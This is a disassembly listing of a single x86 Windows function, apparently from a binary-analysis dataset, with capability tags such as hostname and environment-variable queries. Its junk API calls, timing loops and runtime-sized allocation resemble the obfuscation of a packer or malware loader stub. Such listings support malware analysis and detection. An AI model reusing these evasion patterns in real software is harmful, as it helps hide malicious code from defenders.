Function at 0x423030
Capabilities:
Enumerate gui resources
Get common file path
Get disk information
Get file attributes
Get hostname
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x428991
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x1e70
call fcn.00421d80
cmp dword [0x7ef1b8], 0x12
push ebx
push ebp
push esi
push edi
jne 0x423146
push 0
call fcn.00409d7b
add esp, 4
push 0
call fcn.004227ae
add esp, 4
lea eax, [esp + 0x98]
push eax
call fcn.00406670
lea esi, [esp + 0x38]
mov dword [esp + 0x1ebc], 0
call fcn.00406f10
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x44], esp
push 0
mov byte [esp + 0x1edc], 1
call fcn.00406220
mov ecx, esi
call fcn.00406fb0
push 0
lea ecx, [esp + 0x4c]
call fcn.00406220
lea ebx, [esp + 0x48]
mov eax, esi
mov byte [esp + 0x1ebc], 2
call fcn.00406f30
mov ecx, ebx
call fcn.004062b0
push 0
call fcn.00409f5c
fld qword [0x404c58]
push ecx
fstp qword [esp]
push 0x404614
call fcn.00409f73
add esp, 0xc
push 0
push 0
call fcn.00409d3b
push 0
push 0
call fcn.0040a0eb
push 0
push 0
push 0
call fcn.0040a222
add esp, 0x1c
push 0
call fcn.0040996c
add esp, 4
call fcn.00406fa0
lea eax, [esp + 0x98]
mov dword [esp + 0x1ebc], 0xffffffff
call fcn.00406200
mov eax, 0x38d6
add dword [0x7ef1b8], eax
mov edi, dword [esp + 0x28]
mov ebx, dword [esp + 0x7c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
cmp esi, 0x1c44b
jge 0x42316b
call ebp
cmp esi, 0x1ea08a43
jle 0x423183
cmp edi, 0xacd52a
je 0x423183
cmp ebx, 0xb2d3f48
jne 0x42318c
inc esi
cmp esi, 0x8c6f8742
jb 0x423161
mov ecx, dword [0x7ef1b8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetStringTypeA]
mov dword [0x7eb628], eax
mov eax, dword [0x7ef1b8]
mov dword [esp + 0x28], 0x962d40
cmp eax, 3
jne 0x4231d7
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, dword [0x7ef1b8]
cmp eax, 0x3f5
jne 0x423315
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call esi
push 0
call ebx
xor eax, eax
lea edx, [esp + 0x48]
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
push edx
lea eax, [esp + 0x74]
push eax
push 0x40461c
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
lea ecx, [esp + 0x68]
push ecx
push 0
lea edx, [esp + 0xa88]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
push 0
lea eax, [esp + 0x684]
push eax
push 0x404630
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x284]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push 0x40464c
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push 0x404660
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0x404718
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea eax, [esp + 0x30]
push eax
push 0
push 0x404768
push 0
push 0
call ebp
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0x4047b8
push 0
push 0
call ebp
push 0
call edi
xor eax, eax
lea edx, [esp + 0x38]
push edx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_InterlockedFlushSList]
lea eax, [esp + 0x64]
push eax
lea ecx, [esp + 0xe84]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
lea edx, [esp + 0x1684]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
mov eax, dword [0x7ef1b8]
dec dword [esp + 0x28]
jne 0x4231c5
xor esi, esi
test eax, eax
je 0x42334b
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
jmp 0x423330
call fcn.00422ca0
mov eax, dword [0x7ef1b8]
cmp eax, 0x29
jne 0x423346
call edi
mov eax, dword [0x7ef1b8]
inc esi
cmp esi, eax
jb 0x423330
cmp eax, 0x19c
jne 0x4233a9
push 0x404808
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0x404870
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
mov esi, dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0
call esi
push 0x4047ec
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
push 0x4048d8
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edi, dword [sym.imp.USER32.dll_GetMenu]
mov esi, 0x8dc
push 0
call edi
dec esi
jne 0x4233b4
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, 0x25095
jmp 0x4233d0
cmp dword [0x7ef1b8], 0x92
jne 0x4233f5
lea edx, [esp + 0x98]
push edx
call esi
push 0x404990
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
dec edi
jne 0x4233d0
mov byte [0x44e4c0], 0
call fcn.004227e0
call fcn.00423000
call fcn.00422c80
mov edi, dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebp, 0xdd7b3
cmp dword [0x7ef1b8], 0x21
jne 0x423449
push 0
call edi
push 0
push 0
lea eax, [esp + 0x1688]
push eax
push 0
call ebx
push 0x4049b0
call esi
dec ebp
jne 0x423425
call fcn.00422fa0
cmp dword [0x7ef1b8], 0xd5c
mov byte [0x44e4c1], 0x73
jne 0x4234ee
lea ecx, [esp + 0x140]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edx, [esp + 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebp
lea eax, [esp + 0x284]
push eax
lea ecx, [esp + 0x688]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0x4049b8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebp
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0x404a30
call esi
push ebp
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push 0x404a78
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
call fcn.00422c90
mov ecx, dword [esp + 0x1eb4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret